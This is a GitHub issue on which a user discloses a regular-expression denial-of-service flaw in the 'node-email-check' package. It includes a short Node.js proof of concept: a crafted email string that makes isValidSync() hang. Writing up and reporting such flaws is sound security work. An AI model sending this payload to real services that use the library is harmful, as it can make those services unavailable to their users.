Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Issue with regex #2

Open
6en6ar opened this issue Sep 19, 2023 · 0 comments
Open

Issue with regex #2

6en6ar opened this issue Sep 19, 2023 · 0 comments

Comments

@6en6ar
Copy link

6en6ar commented Sep 19, 2023

Describe the bug
A clear and concise description of what the bug is.
The regex on line 10. is vulnerable to regex denial of service when provided with malicious input.

To Reproduce
I tested it on the isValidSync() function by feeding a malformed input. The program hangs for indefinite amount of time when provided this input. Here is the source code.

`
const emailCheck = require('node-email-check');

//payload
var chck = emailCheck.isValidSync('-@[IPv6:5:3:2:3:227IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"');
//var chck = emailCheck.isValidSync('validemail@example.com');
console.log(chck);
console.timeEnd('[ + ] Time passed -> ');
`

Expected behavior
Usually these kind of attack are returning with a small difference in time but this time the function hangs. This bug leads to denial of service.

Additional context
Add any other context about the problem here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant